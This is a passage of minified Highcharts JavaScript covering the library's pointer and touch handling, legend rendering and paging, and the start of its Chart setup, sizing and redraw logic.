0&&(a=!1)});if(a)g.refresh(h),e&&(e.setState(e.state,!0),o(c.axes,function(a){p(a.options.crosshair&&a.options.crosshair.snap,!0)?a.drawCrosshair(null,e):a.hideCrosshair()}));else{if(e)e.onMouseOut();f&&o(f,function(a){a.setState()});if(d)d.onMouseOut();g&&g.hide(b);if(this._onDocumentMouseMove)U(z,\"mousemove\",this._onDocumentMouseMove),this._onDocumentMouseMove=\nnull;o(c.axes,function(a){a.hideCrosshair()});this.hoverX=c.hoverPoints=c.hoverPoint=null}},scaleGroups:function(a,b){var c=this.chart,d;o(c.series,function(e){d=a||e.getPlotBox();e.xAxis&&e.xAxis.zoomEnabled&&(e.group.attr(d),e.markerGroup&&(e.markerGroup.attr(d),e.markerGroup.clip(b?c.clipRect:null)),e.dataLabelsGroup&&e.dataLabelsGroup.attr(d))});c.clipRect.attr(b||c.clipBox)},dragStart:function(a){var b=this.chart;b.mouseIsDown=a.type;b.cancelClick=!1;b.mouseDownX=this.mouseDownX=a.chartX;b.mouseDownY=\nthis.mouseDownY=a.chartY},drag:function(a){var b=this.chart,c=b.options.chart,d=a.chartX,e=a.chartY,f=this.zoomHor,g=this.zoomVert,h=b.plotLeft,i=b.plotTop,k=b.plotWidth,j=b.plotHeight,m,l=this.selectionMarker,n=this.mouseDownX,t=this.mouseDownY,r=c.panKey&&a[c.panKey+\"Key\"];if(!l||!l.touch)if(d<h?d=h:d>h+k&&(d=h+k),e<i?e=i:e>i+j&&(e=i+j),this.hasDragged=Math.sqrt(Math.pow(n-d,2)+Math.pow(t-e,2)),this.hasDragged>10){m=b.isInsidePlot(n-h,t-i);if(b.hasCartesianSeries&&(this.zoomX||this.zoomY)&&m&&!r&&\n!l)this.selectionMarker=l=b.renderer.rect(h,i,f?1:k,g?1:j,0).attr({fill:c.selectionMarkerFill||\"rgba(69,114,167,0.25)\",zIndex:7}).add();l&&f&&(d-=n,l.attr({width:P(d),x:(d>0?0:d)+n}));l&&g&&(d=e-t,l.attr({height:P(d),y:(d>0?0:d)+t}));m&&!l&&c.panning&&b.pan(a,c.panning)}},drop:function(a){var b=this,c=this.chart,d=this.hasPinched;if(this.selectionMarker){var e={xAxis:[],yAxis:[]},f=this.selectionMarker,g=f.attr?f.attr(\"x\"):f.x,h=f.attr?f.attr(\"y\"):f.y,i=f.attr?f.attr(\"width\"):f.width,k=f.attr?f.attr(\"height\"):\nf.height,j;if(this.hasDragged||d)o(c.axes,function(c){if(c.zoomEnabled&&q(c.min)&&(d||b[{xAxis:\"zoomX\",yAxis:\"zoomY\"}[c.coll]])){var f=c.horiz,n=a.type===\"touchend\"?c.minPixelPadding:0,t=c.toValue((f?g:h)+n),f=c.toValue((f?g+i:h+k)-n);e[c.coll].push({axis:c,min:E(t,f),max:s(t,f)});j=!0}}),j&&H(c,\"selection\",e,function(a){c.zoom(v(a,d?{animation:!1}:null))});this.selectionMarker=this.selectionMarker.destroy();d&&this.scaleGroups()}if(c)M(c.container,{cursor:c._cursor}),c.cancelClick=this.hasDragged>\n10,c.mouseIsDown=this.hasDragged=this.hasPinched=!1,this.pinchDown=[]},onContainerMouseDown:function(a){a=this.normalize(a);a.preventDefault&&a.preventDefault();this.dragStart(a)},onDocumentMouseUp:function(a){W[ra]&&W[ra].pointer.drop(a)},onDocumentMouseMove:function(a){var b=this.chart,c=this.chartPosition,a=this.normalize(a,c);c&&!this.inClass(a.target,\"highcharts-tracker\")&&!b.isInsidePlot(a.chartX-b.plotLeft,a.chartY-b.plotTop)&&this.reset()},onContainerMouseLeave:function(){var a=W[ra];if(a)a.pointer.reset(),\na.pointer.chartPosition=null},onContainerMouseMove:function(a){var b=this.chart;ra=b.index;a=this.normalize(a);a.returnValue=!1;b.mouseIsDown===\"mousedown\"&&this.drag(a);(this.inClass(a.target,\"highcharts-tracker\")||b.isInsidePlot(a.chartX-b.plotLeft,a.chartY-b.plotTop))&&!b.openMenu&&this.runPointActions(a)},inClass:function(a,b){for(var c;a;){if(c=L(a,\"class\")){if(c.indexOf(b)!==-1)return!0;if(c.indexOf(\"highcharts-container\")!==-1)return!1}a=a.parentNode}},onTrackerMouseOut:function(a){var b=this.chart.hoverSeries,\na=a.relatedTarget||a.toElement;if(b&&!b.options.stickyTracking&&!this.inClass(a,\"highcharts-tooltip\")&&!this.inClass(a,\"highcharts-series-\"+b.index))b.onMouseOut()},onContainerClick:function(a){var b=this.chart,c=b.hoverPoint,d=b.plotLeft,e=b.plotTop,a=this.normalize(a);b.cancelClick||(c&&this.inClass(a.target,\"highcharts-tracker\")?(H(c.series,\"click\",v(a,{point:c})),b.hoverPoint&&c.firePointEvent(\"click\",a)):(v(a,this.getCoordinates(a)),b.isInsidePlot(a.chartX-d,a.chartY-e)&&H(b,\"click\",a)))},setDOMEvents:function(){var a=\nthis,b=a.chart.container;b.onmousedown=function(b){a.onContainerMouseDown(b)};b.onmousemove=function(b){a.onContainerMouseMove(b)};b.onclick=function(b){a.onContainerClick(b)};N(b,\"mouseleave\",a.onContainerMouseLeave);eb===1&&N(z,\"mouseup\",a.onDocumentMouseUp);if(db)b.ontouchstart=function(b){a.onContainerTouchStart(b)},b.ontouchmove=function(b){a.onContainerTouchMove(b)},eb===1&&N(z,\"touchend\",a.onDocumentTouchEnd)},destroy:function(){var a;U(this.chart.container,\"mouseleave\",this.onContainerMouseLeave);\neb||(U(z,\"mouseup\",this.onDocumentMouseUp),U(z,\"touchend\",this.onDocumentTouchEnd));clearInterval(this.tooltipTimeout);for(a in this)this[a]=null}};v(u.Pointer.prototype,{pinchTranslate:function(a,b,c,d,e,f){(this.zoomHor||this.pinchHor)&&this.pinchTranslateDirection(!0,a,b,c,d,e,f);(this.zoomVert||this.pinchVert)&&this.pinchTranslateDirection(!1,a,b,c,d,e,f)},pinchTranslateDirection:function(a,b,c,d,e,f,g,h){var i=this.chart,k=a?\"x\":\"y\",j=a?\"X\":\"Y\",m=\"chart\"+j,l=a?\"width\":\"height\",n=i[\"plot\"+(a?\n\"Left\":\"Top\")],t,r,p=h||1,o=i.inverted,x=i.bounds[a?\"h\":\"v\"],w=b.length===1,q=b[0][m],s=c[0][m],v=!w&&b[1][m],u=!w&&c[1][m],A,c=function(){!w&&P(q-v)>20&&(p=h||P(s-u)/P(q-v));r=(n-s)/p+q;t=i[\"plot\"+(a?\"Width\":\"Height\")]/p};c();b=r;b<x.min?(b=x.min,A=!0):b+t>x.max&&(b=x.max-t,A=!0);A?(s-=0.8*(s-g[k][0]),w||(u-=0.8*(u-g[k][1])),c()):g[k]=[s,u];o||(f[k]=r-n,f[l]=t);f=o?1/p:p;e[l]=t;e[k]=b;d[o?a?\"scaleY\":\"scaleX\":\"scale\"+j]=p;d[\"translate\"+j]=f*n+(s-f*q)},pinch:function(a){var b=this,c=b.chart,d=b.pinchDown,\ne=a.touches,f=e.length,g=b.lastValidTouch,h=b.hasZoom,i=b.selectionMarker,k={},j=f===1&&(b.inClass(a.target,\"highcharts-tracker\")&&c.runTrackerClick||b.runChartClick),m={};if(f>1)b.initiated=!0;h&&b.initiated&&!j&&a.preventDefault();Ha(e,function(a){return b.normalize(a)});if(a.type===\"touchstart\")o(e,function(a,b){d[b]={chartX:a.chartX,chartY:a.chartY}}),g.x=[d[0].chartX,d[1]&&d[1].chartX],g.y=[d[0].chartY,d[1]&&d[1].chartY],o(c.axes,function(a){if(a.zoomEnabled){var b=c.bounds[a.horiz?\"h\":\"v\"],\nd=a.minPixelPadding,e=a.toPixels(p(a.options.min,a.dataMin)),f=a.toPixels(p(a.options.max,a.dataMax)),g=E(e,f),e=s(e,f);b.min=E(a.pos,g-d);b.max=s(a.pos+a.len,e+d)}}),b.res=!0;else if(d.length){if(!i)b.selectionMarker=i=v({destroy:va,touch:!0},c.plotBox);b.pinchTranslate(d,e,k,i,m,g);b.hasPinched=h;b.scaleGroups(k,m);if(!h&&b.followTouchMove&&f===1)this.runPointActions(b.normalize(a));else if(b.res)b.res=!1,this.reset(!1,0)}},touch:function(a,b){var c=this.chart;ra=c.index;a.touches.length===1?(a=\nthis.normalize(a),c.isInsidePlot(a.chartX-c.plotLeft,a.chartY-c.plotTop)&&!c.openMenu?(b&&this.runPointActions(a),this.pinch(a)):b&&this.reset()):a.touches.length===2&&this.pinch(a)},onContainerTouchStart:function(a){this.touch(a,!0)},onContainerTouchMove:function(a){this.touch(a)},onDocumentTouchEnd:function(a){W[ra]&&W[ra].pointer.drop(a)}});if(C.PointerEvent||C.MSPointerEvent){var wa={},Db=!!C.PointerEvent,Sb=function(){var a,b=[];b.item=function(a){return this[a]};for(a in wa)wa.hasOwnProperty(a)&&\nb.push({pageX:wa[a].pageX,pageY:wa[a].pageY,target:wa[a].target});return b},Eb=function(a,b,c,d){if((a.pointerType===\"touch\"||a.pointerType===a.MSPOINTER_TYPE_TOUCH)&&W[ra])d(a),d=W[ra].pointer,d[b]({type:c,target:a.currentTarget,preventDefault:va,touches:Sb()})};v(Ya.prototype,{onContainerPointerDown:function(a){Eb(a,\"onContainerTouchStart\",\"touchstart\",function(a){wa[a.pointerId]={pageX:a.pageX,pageY:a.pageY,target:a.currentTarget}})},onContainerPointerMove:function(a){Eb(a,\"onContainerTouchMove\",\n\"touchmove\",function(a){wa[a.pointerId]={pageX:a.pageX,pageY:a.pageY};if(!wa[a.pointerId].target)wa[a.pointerId].target=a.currentTarget})},onDocumentPointerUp:function(a){Eb(a,\"onDocumentTouchEnd\",\"touchend\",function(a){delete wa[a.pointerId]})},batchMSEvents:function(a){a(this.chart.container,Db?\"pointerdown\":\"MSPointerDown\",this.onContainerPointerDown);a(this.chart.container,Db?\"pointermove\":\"MSPointerMove\",this.onContainerPointerMove);a(z,Db?\"pointerup\":\"MSPointerUp\",this.onDocumentPointerUp)}});\nfb(Ya.prototype,\"init\",function(a,b,c){a.call(this,b,c);this.hasZoom&&M(b.container,{\"-ms-touch-action\":\"none\",\"touch-action\":\"none\"})});fb(Ya.prototype,\"setDOMEvents\",function(a){a.apply(this);(this.hasZoom||this.followTouchMove)&&this.batchMSEvents(N)});fb(Ya.prototype,\"destroy\",function(a){this.batchMSEvents(U);a.call(this)})}var pb=u.Legend=function(a,b){this.init(a,b)};pb.prototype={init:function(a,b){var c=this,d=b.itemStyle,e=b.itemMarginTop||0;this.options=b;if(b.enabled)c.itemStyle=d,c.itemHiddenStyle=\nD(d,b.itemHiddenStyle),c.itemMarginTop=e,c.padding=d=p(b.padding,8),c.initialItemX=d,c.initialItemY=d-5,c.maxItemWidth=0,c.chart=a,c.itemHeight=0,c.symbolWidth=p(b.symbolWidth,16),c.pages=[],c.render(),N(c.chart,\"endResize\",function(){c.positionCheckboxes()})},colorizeItem:function(a,b){var c=this.options,d=a.legendItem,e=a.legendLine,f=a.legendSymbol,g=this.itemHiddenStyle.color,c=b?c.itemStyle.color:g,h=b?a.legendColor||a.color||\"#CCC\":g,g=a.options&&a.options.marker,i={fill:h},k;d&&d.css({fill:c,\ncolor:c});e&&e.attr({stroke:h});if(f){if(g&&f.isMarker)for(k in i.stroke=h,g=a.convertAttribs(g),g)d=g[k],d!==B&&(i[k]=d);f.attr(i)}},positionItem:function(a){var b=this.options,c=b.symbolPadding,b=!b.rtl,d=a._legendItemPos,e=d[0],d=d[1],f=a.checkbox;(a=a.legendGroup)&&a.element&&a.translate(b?e:this.legendWidth-e-2*c-4,d);if(f)f.x=e,f.y=d},destroyItem:function(a){var b=a.checkbox;o([\"legendItem\",\"legendLine\",\"legendSymbol\",\"legendGroup\"],function(b){a[b]&&(a[b]=a[b].destroy())});b&&Ua(a.checkbox)},\ndestroy:function(){var a=this.group,b=this.box;if(b)this.box=b.destroy();if(a)this.group=a.destroy()},positionCheckboxes:function(a){var b=this.group.alignAttr,c,d=this.clipHeight||this.legendHeight,e=this.titleHeight;if(b)c=b.translateY,o(this.allItems,function(f){var g=f.checkbox,h;g&&(h=c+e+g.y+(a||0)+3,M(g,{left:b.translateX+f.checkboxOffset+g.x-20+\"px\",top:h+\"px\",display:h>c-6&&h<c+d-6?\"\":\"none\"}))})},renderTitle:function(){var a=this.padding,b=this.options.title,c=0;if(b.text){if(!this.title)this.title=\nthis.chart.renderer.label(b.text,a-3,a-4,null,null,null,null,null,\"legend-title\").attr({zIndex:1}).css(b.style).add(this.group);a=this.title.getBBox();c=a.height;this.offsetWidth=a.width;this.contentGroup.attr({translateY:c})}this.titleHeight=c},setText:function(a){var b=this.options;a.legendItem.attr({text:b.labelFormat?La(b.labelFormat,a):b.labelFormatter.call(a)})},renderItem:function(a){var b=this.chart,c=b.renderer,d=this.options,e=d.layout===\"horizontal\",f=this.symbolWidth,g=d.symbolPadding,\nh=this.itemStyle,i=this.itemHiddenStyle,k=this.padding,j=e?p(d.itemDistance,20):0,m=!d.rtl,l=d.width,n=d.itemMarginBottom||0,t=this.itemMarginTop,r=this.initialItemX,o=a.legendItem,y=a.series&&a.series.drawLegendSymbol?a.series:a,x=y.options,x=this.createCheckboxForItem&&x&&x.showCheckbox,q=d.useHTML;if(!o){a.legendGroup=c.g(\"legend-item\").attr({zIndex:1}).add(this.scrollGroup);a.legendItem=o=c.text(\"\",m?f+g:-g,this.baseline||0,q).css(D(a.visible?h:i)).attr({align:m?\"left\":\"right\",zIndex:2}).add(a.legendGroup);\nif(!this.baseline)this.fontMetrics=c.fontMetrics(h.fontSize,o),this.baseline=this.fontMetrics.f+3+t,o.attr(\"y\",this.baseline);y.drawLegendSymbol(this,a);this.setItemEvents&&this.setItemEvents(a,o,q,h,i);this.colorizeItem(a,a.visible);x&&this.createCheckboxForItem(a)}this.setText(a);c=o.getBBox();f=a.checkboxOffset=d.itemWidth||a.legendItemWidth||f+g+c.width+j+(x?20:0);this.itemHeight=g=A(a.legendItemHeight||c.height);if(e&&this.itemX-r+f>(l||b.chartWidth-2*k-r-d.x))this.itemX=r,this.itemY+=t+this.lastLineHeight+\nn,this.lastLineHeight=0;this.maxItemWidth=s(this.maxItemWidth,f);this.lastItemY=t+this.itemY+n;this.lastLineHeight=s(g,this.lastLineHeight);a._legendItemPos=[this.itemX,this.itemY];e?this.itemX+=f:(this.itemY+=t+g+n,this.lastLineHeight=g);this.offsetWidth=l||s((e?this.itemX-r-j:f)+k,this.offsetWidth)},getAllItems:function(){var a=[];o(this.chart.series,function(b){var c=b.options;if(p(c.showInLegend,!q(c.linkedTo)?B:!1,!0))a=a.concat(b.legendItems||(c.legendType===\"point\"?b.data:b))});return a},adjustMargins:function(a,\nb){var c=this.chart,d=this.options,e=d.align.charAt(0)+d.verticalAlign.charAt(0)+d.layout.charAt(0);this.display&&!d.floating&&o([/(lth|ct|rth)/,/(rtv|rm|rbv)/,/(rbh|cb|lbh)/,/(lbv|lm|ltv)/],function(f,g){f.test(e)&&!q(a[g])&&(c[ob[g]]=s(c[ob[g]],c.legend[(g+1)%2?\"legendHeight\":\"legendWidth\"]+[1,-1,-1,1][g]*d[g%2?\"x\":\"y\"]+p(d.margin,12)+b[g]))})},render:function(){var a=this,b=a.chart,c=b.renderer,d=a.group,e,f,g,h,i=a.box,k=a.options,j=a.padding,m=k.borderWidth,l=k.backgroundColor;a.itemX=a.initialItemX;\na.itemY=a.initialItemY;a.offsetWidth=0;a.lastItemY=0;if(!d)a.group=d=c.g(\"legend\").attr({zIndex:7}).add(),a.contentGroup=c.g().attr({zIndex:1}).add(d),a.scrollGroup=c.g().add(a.contentGroup);a.renderTitle();e=a.getAllItems();jb(e,function(a,b){return(a.options&&a.options.legendIndex||0)-(b.options&&b.options.legendIndex||0)});k.reversed&&e.reverse();a.allItems=e;a.display=f=!!e.length;a.lastLineHeight=0;o(e,function(b){a.renderItem(b)});g=(k.width||a.offsetWidth)+j;h=a.lastItemY+a.lastLineHeight+\na.titleHeight;h=a.handleOverflow(h);h+=j;if(m||l){if(i){if(g>0&&h>0)i[i.isNew?\"attr\":\"animate\"](i.crisp({width:g,height:h})),i.isNew=!1}else a.box=i=c.rect(0,0,g,h,k.borderRadius,m||0).attr({stroke:k.borderColor,\"stroke-width\":m||0,fill:l||\"none\"}).add(d).shadow(k.shadow),i.isNew=!0;i[f?\"show\":\"hide\"]()}a.legendWidth=g;a.legendHeight=h;o(e,function(b){a.positionItem(b)});f&&d.align(v({width:g,height:h},k),!0,\"spacingBox\");b.isResizing||this.positionCheckboxes()},handleOverflow:function(a){var b=this,\nc=this.chart,d=c.renderer,e=this.options,f=e.y,f=c.spacingBox.height+(e.verticalAlign===\"top\"?-f:f)-this.padding,g=e.maxHeight,h,i=this.clipRect,k=e.navigation,j=p(k.animation,!0),m=k.arrowSize||12,l=this.nav,n=this.pages,t=this.padding,r,q=this.allItems,y=function(a){i.attr({height:a});if(b.contentGroup.div)b.contentGroup.div.style.clip=\"rect(\"+t+\"px,9999px,\"+(t+a)+\"px,0)\"};e.layout===\"horizontal\"&&(f/=2);g&&(f=E(f,g));n.length=0;if(a>f){this.clipHeight=h=s(f-20-this.titleHeight-t,0);this.currentPage=\np(this.currentPage,1);this.fullHeight=a;o(q,function(a,b){var c=a._legendItemPos[1],d=A(a.legendItem.getBBox().height),e=n.length;if(!e||c-n[e-1]>h&&(r||c)!==n[e-1])n.push(r||c),e++;b===q.length-1&&c+d-n[e-1]>h&&n.push(c);c!==r&&(r=c)});if(!i)i=b.clipRect=d.clipRect(0,t,9999,0),b.contentGroup.clip(i);y(h);if(!l)this.nav=l=d.g().attr({zIndex:1}).add(this.group),this.up=d.symbol(\"triangle\",0,0,m,m).on(\"click\",function(){b.scroll(-1,j)}).add(l),this.pager=d.text(\"\",15,10).css(k.style).add(l),this.down=\nd.symbol(\"triangle-down\",0,0,m,m).on(\"click\",function(){b.scroll(1,j)}).add(l);b.scroll(0);a=f}else if(l)y(c.chartHeight),l.hide(),this.scrollGroup.attr({translateY:1}),this.clipHeight=0;return a},scroll:function(a,b){var c=this.pages,d=c.length,e=this.currentPage+a,f=this.clipHeight,g=this.options.navigation,h=g.activeColor,g=g.inactiveColor,i=this.pager,k=this.padding;e>d&&(e=d);if(e>0)b!==B&&Va(b,this.chart),this.nav.attr({translateX:k,translateY:f+this.padding+7+this.titleHeight,visibility:\"visible\"}),\nthis.up.attr({fill:e===1?g:h}).css({cursor:e===1?\"default\":\"pointer\"}),i.attr({text:e+\"/\"+d}),this.down.attr({x:18+this.pager.getBBox().width,fill:e===d?g:h}).css({cursor:e===d?\"default\":\"pointer\"}),c=-c[e-1]+this.initialItemY,this.scrollGroup.animate({translateY:c}),this.currentPage=e,this.positionCheckboxes(c)}};K=u.LegendSymbolMixin={drawRectangle:function(a,b){var c=a.options.symbolHeight||a.fontMetrics.f;b.legendSymbol=this.chart.renderer.rect(0,a.baseline-c+1,a.symbolWidth,c,a.options.symbolRadius||\n0).attr({zIndex:3}).add(b.legendGroup)},drawLineMarker:function(a){var b=this.options,c=b.marker,d=a.symbolWidth,e=this.chart.renderer,f=this.legendGroup,a=a.baseline-A(a.fontMetrics.b*0.3),g;if(b.lineWidth){g={\"stroke-width\":b.lineWidth};if(b.dashStyle)g.dashstyle=b.dashStyle;this.legendLine=e.path([\"M\",0,a,\"L\",d,a]).attr(g).add(f)}if(c&&c.enabled!==!1)b=c.radius,this.legendSymbol=c=e.symbol(this.symbol,d/2-b,a-b,2*b,2*b,c).add(f),c.isMarker=!0}};(/Trident\\/7\\.0/.test(Aa)||Na)&&fb(pb.prototype,\"positionItem\",\nfunction(a,b){var c=this,d=function(){b._legendItemPos&&a.call(c,b)};d();setTimeout(d)});var hb=u.Chart=function(){this.getArgs.apply(this,arguments)};u.chart=function(a,b,c){return new hb(a,b,c)};hb.prototype={callbacks:[],getArgs:function(){var a=[].slice.call(arguments);if(ya(a[0])||a[0].nodeName)this.renderTo=a.shift();this.init(a[0],a[1])},init:function(a,b){var c,d=a.series;a.series=null;c=D(O,a);c.series=a.series=d;this.userOptions=a;d=c.chart;this.margin=this.splashArray(\"margin\",d);this.spacing=\nthis.splashArray(\"spacing\",d);var e=d.events;this.bounds={h:{},v:{}};this.callback=b;this.isResizing=0;this.options=c;this.axes=[];this.series=[];this.hasCartesianSeries=d.showAxes;var f=this,g;f.index=W.length;W.push(f);eb++;d.reflow!==!1&&N(f,\"load\",function(){f.initReflow()});if(e)for(g in e)N(f,g,e[g]);f.xAxis=[];f.yAxis=[];f.animation=ha?!1:p(d.animation,!0);f.pointCount=f.colorCounter=f.symbolCounter=0;f.firstRender()},initSeries:function(a){var b=this.options.chart;(b=I[a.type||b.type||b.defaultSeriesType])||\nY(17,!0);b=new b;b.init(this,a);return b},isInsidePlot:function(a,b,c){var d=c?b:a,a=c?a:b;return d>=0&&d<=this.plotWidth&&a>=0&&a<=this.plotHeight},redraw:function(a){var b=this.axes,c=this.series,d=this.pointer,e=this.legend,f=this.isDirtyLegend,g,h,i=this.hasCartesianSeries,k=this.isDirtyBox,j=c.length,m=j,l=this.renderer,n=l.isHidden(),p=[];Va(a,this);n&&this.cloneRenderTo();for(this.layOutTitles();m--;)if(a=c[m],a.options.stacking&&(g=!0,a.isDirty)){h=!0;break}if(h)for(m=j;m--;)if(a=c[m],a.options.stacking)a.isDirty=\n!0;o(c,function(a){a.isDirty&&a.options.legendType===\"point\"&&(a.updateTotals&&a.updateTotals(),f=!0)});if(f&&e.options.enabled)e.render(),this.isDirtyLegend=!1;g&&this.getStacks();if(i&&!this.isResizing)this.maxTicks=null,o(b,function(a){a.setScale()});this.getMargins();i&&(o(b,function(a){a.isDirty&&(k=!0)}),o(b,function(a){var b=a.min+\",\"+a.max;if(a.extKey!==b)a.extKey=b,p.push(function(){H(a,\"afterSetExtremes\",v(a.eventArgs,a.getExtremes()));delete a.eventArgs});(k||g)&&a.redraw()}));k&&this.drawChartBox();\no(c,function(a){a.isDirty&&a.visible&&(!a.isCartesian||a.xAxis)&&a.redraw()});d&&d.reset(!0);l.draw();H(this,\"redraw\");n&&this.cloneRenderTo(!0);o(p,function(a){a.call()})},get:function(a){var b=this.axes,c=this.series,d,e;for(d=0;d<b.length;d++)if(b[d].options.id===a)return b[d];for(d=0;d<c.length;d++)if(c[d].options.id===a)return c[d];for(d=0;d<c.length;d++){e=c[d].points||[];for(b=0;b<e.length;b++)if(e[b].id===a)return e[b]}return null},getAxes:function(){var a=this,b=this.options,c=b.xAxis=ta(b.xAxis||\n{}),b=b.yAxis=ta(b.yAxis||{});o(c,function(a,b){a.index=b;a.isX=!0});o(b,function(a,b){a.index=b});c=c.concat(b);o(c,function(b){new ja(a,b)})},getSelectedPoints:function(){var a=[];o(this.series,function(b){a=a.concat(Oa(b.points||[],function(a){return a.selected}))});return a},getSelectedSeries:function(){return Oa(this.series,function(a){return a.selected})},setTitle:function(a,b,c){var g;var d=this,e=d.options,f;f=e.title=D(e.title,a);g=e.subtitle=D(e.subtitle,b),e=g;o([[\"title\",a,f],[\"subtitle\",\nb,e]],function(a){var b=a[0],c=d[b],e=a[1],a=a[2];c&&e&&(d[b]=c=c.destroy());a&&a.text&&!c&&(d[b]=d.renderer.text(a.text,0,0,a.useHTML).attr({align:a.align,\"class\":\"highcharts-\"+b,zIndex:a.zIndex||4}).css(a.style).add())});d.layOutTitles(c)},layOutTitles:function(a){var b=0,c=this.title,d=this.subtitle,e=this.options,f=e.title,e=e.subtitle,g=this.renderer,h=this.spacingBox.width-44;if(c&&(c.css({width:(f.width||h)+\"px\"}).align(v({y:g.fontMetrics(f.style.fontSize,c).b-3},f),!1,\"spacingBox\"),!f.floating&&\n!f.verticalAlign))b=c.getBBox().height;d&&(d.css({width:(e.width||h)+\"px\"}).align(v({y:b+(f.margin-13)+g.fontMetrics(e.style.fontSize,c).b},e),!1,\"spacingBox\"),!e.floating&&!e.verticalAlign&&(b=ua(b+d.getBBox().height)));c=this.titleOffset!==b;this.titleOffset=b;if(!this.isDirtyBox&&c)this.isDirtyBox=c,this.hasRendered&&p(a,!0)&&this.isDirtyBox&&this.redraw()},getChartSize:function(){var a=this.options.chart,b=a.width,a=a.height,c=this.renderToClone||this.renderTo;if(!q(b))this.containerWidth=Ga(c,\n\"width\");if(!q(a))this.containerHeight=Ga(c,\"height\");this.chartWidth=s(0,b||this.containerWidth||600);this.chartHeight=s(0,p(a,this.containerHeight>19?this.containerHeight:400))},cloneRenderTo:function(a){var b=this.renderToClone,c=this.container;a?b&&(this.renderTo.appendChild(c),Ua(b),delete this.renderToClone):(c&&c.parentNode===this.renderTo&&this.renderTo.removeChild(c),this.renderToClone=b=this.renderTo.cloneNode(0),M(b,{position:\"absolute\",top:\"-9999px\",display:\"block\"}),b.style.setProperty&&\nb.style.setProperty(\"display\",\"block\",\"important\"),z.body.appendChild(b),c&&b.appendChild(c))},getContainer:function(){var a,b=this.options,c=b.chart,d,e;a=this.renderTo;var f=\"highcharts-\"+Ab++;if(!a)this.renderTo=a=c.renderTo;if(ya(a))this.renderTo=a=z.getElementById(a);a||Y(13,!0);d=F(L(a,\"data-highcharts-chart\"));!isNaN(d)&&W[d]&&W[d].hasRendered&&W[d].destroy();L(a,\"data-highcharts-chart\",this.index);a.innerHTML=\"\";!c.skipClone&&!a.offsetWidth&&this.cloneRenderTo();this.getChartSize();d=this.chartWidth;\ne=this.chartHeight;this.container=a=$(Ma,{className:\"highcharts-container\"+(c.className?\" \"+c.className:\"\"),id:f},v({position:\"relative\",overflow:\"hidden\",width:d+\"px\",height:e+\"px\",textAlign:\"left\",lineHeight:\"normal\",zIndex:0,\"-webkit-tap-highlight-color\":\"rgba(0,0,0,0)\"},c.style),this.renderToClone||a);this._cursor=a.style.cursor;this.renderer=new (u[c.renderer]||cb)(a,d,e,c.style,c.forExport,b.exporting&&b.exporting.allowHTML);ha&&this.renderer.create(this,a,d,e);this.renderer.chartIndex=this.index},\ngetMargins:function(a){var b=this.spacing,c=this.margin,d=this.titleOffset;this.resetMargins();if(d&&!q(c[0]))this.plotTop=s(this.plotTop,d+this.options.title.margin+b[0]);this.legend.adjustMargins(c,b);this.extraBottomMargin&&(this.marginBottom+=this.extraBottomMargin);this.extraTopMargin&&(this.plotTop+=this.extraTopMargin);a||this.getAxisMargins()},getAxisMargins:function(){var a=this,b=a.axisOffset=[0,0,0,0],c=a.margin;a.hasCartesianSeries&&o(a.axes,function(a){a.visible&&a.getOffset()});o(ob,\nfunction(d,e){q(c[e])||(a[d]+=b[e])});a.setChartSize()},reflow:function(a){var b=this,c=b.options.chart,d=b.renderTo,e=c.width||Ga(d,\"width\"),f=c.height||Ga(d,\"height\"),c=a?a.target:C;if(!b.hasUserSize&&!b.isPrinting&&e&&f&&(c===C||c===z)){if(e!==b.containerWidth||f!==b.containerHeight)clearTimeout(b.reflowTimeout),b.reflowTimeout=Qa(function(){if(b.container)b.setSize(e,f,!1),b.hasUserSize=null},a?100:0);b.containerWidth=e;b.containerHeight=f}},initReflow:function(){var a=this,b=function(b){a.reflow(b)};\nN(C,\"resize\",b);N(a,\"destroy\",function(){U(C,\"resize\",b)})},setSize:function(a,b,c){var d=this,e,f,g=d.renderer;d.isResizing+=1;Va(c,d);d.oldChartHeight=d.chartHeight;d.oldChartWidth=d.chartWidth;if(q(a))d.chartWidth=e=s(0,A(a)),d.hasUserSize=!!e;if(q(b))d.chartHeight=f=s(0,A(b));a=g.globalAnimation;(a?Xa:M)(d.container,{width:e+\"px\",height:f+\"px\"},a);d.setChartSize(!0);g.setSize(e,f,c);d.maxTicks=null;o(d.axes,function(a){a.isDirty=!0;a.setScale()});o(d.series,function(a){a.isDirty=!0});d.isDirtyLegend=\n!0;d.isDirtyBox=!0;d.layOutTitles();d.getMargins();d.redraw(c);d.oldChartHeight=null;H(d,\"resize\");a=g.globalAnimation;Qa(function(){d&&H(d,\"endResize\",null,function(){d.isResizing-=1})},a===!1?0:a&&a.duration||500)},setChartSize:function(a){var b=this.inverted,c=this.renderer,d=this.chartWidth,e=this.chartHeight,f=this.options.chart,g=this.spacing,h=this.clipOffset,i,k,j,m;this.plotLeft=i=A(this.plotLeft);this.plotTop=k=A(this.plotTop);this.plotWidth=j=s(0,A(d-i-this.marginRight));this.plotHeight=\nm=s(0,A(e-k-this.marginBottom));this.plotSizeX=b?m:j;this.plotSizeY=b?j:m;this.plotBorderWidth=f.plotBorderWidth||0;this.spacingBox=c.spacingBox={x:g[3],y:g[0],width:d-g[3]-g[1],height:e-g[0]-g[2]};this.plotBox=c.plotBox={x:i,y:k,width:j,height:m};d=2*S(this.plotBorderWidth/2);b=ua(s(d,h[3])/2);c=ua(s(d,h[0])/2);this.clipBox={x:b,y:c,width:S(this.plotSizeX-s(d,h[1])/2-b),height:s(0,S(this.plotSizeY-s(d,h[2])/2-c))};a||o(this.axes,function(a){a.setAxisSize();a.setAxisTranslation()})},resetMargins:function(){var a=\nthis;o(ob,function(b,c){a[b]=p(a.margin[c],a.spacing[c])});a.axisOffset=[0,0,0,0];a.clipOffset=[0,0,0,0]},drawChartBox:function(){var 